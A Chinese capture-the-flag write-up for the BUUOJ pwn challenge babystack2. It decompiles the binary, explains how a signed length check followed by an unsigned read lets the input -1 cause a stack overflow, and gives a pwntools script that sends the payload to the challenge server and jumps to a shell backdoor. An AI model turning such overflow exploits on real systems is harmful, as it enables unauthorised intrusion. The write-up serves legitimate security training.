# 题源

https://buuoj.cn/challenges#bjdctf_2020_babystack2

# 题解

# 文件保护

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

64 位程序,可以改 plt,没有栈溢出保护,栈不可执行,没有开启程序动态加载

# 反编译

使用 IDA 查看程序情况:

//main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-10h]
  size_t nbytes; // [rsp+Ch] [rbp-4h]
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  LODWORD(nbytes) = 0;
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("* And Welcome to the bin world!  *");
  puts("*  Let's try to pwn the world!   *");
  puts("* Please told me u answer loudly!*");
  puts("[+]Are u ready?");
  puts("[+]Please input the length of your name:");
  __isoc99_scanf((__int64)"%d", (__int64)&nbytes);
  if ( (signed int)nbytes > 10 )
  {
    puts("Oops,u name is too long!");
    exit(-1);
  }
  puts("[+]What's u name?");
  read(0, &buf, (unsigned int)nbytes);
  return 0;
}
//backdoor
signed __int64 backdoor()
{
  system("/bin/sh");
  return 1LL;
}

# 攻击面

程序要求输入一个整数,超过 10 退出,然后又将其视为无符号整数进行 read,显然给一个 - 1 就可以栈溢出。

程序没有 canary,又自己定义好了 backdoor,所以只需要栈溢出把返回地址改到 backdoor 即可。

# exp

攻击代码如下:

from pwn import *
from pwn import p64
IP = 'node4.buuoj.cn'
PORT = 29466
filename = './bjdctf_2020_babystack2'
proc = ELF(filename)
# io = process(filename)
io = remote(IP,PORT)
io.sendlineafter('[+]Please input the length of your name:','-1')
payload = b'A'*(0x10 + 0x8) + p64(proc.symbols['backdoor'])
io.sendlineafter('[+]What\'s u name?',payload)
io.interactive()

运行结果:

exploit_result

# 总结

非常简单的栈溢出题。结合了对整型数据的判断。不过这个类型转化太明显了,适合做签到题。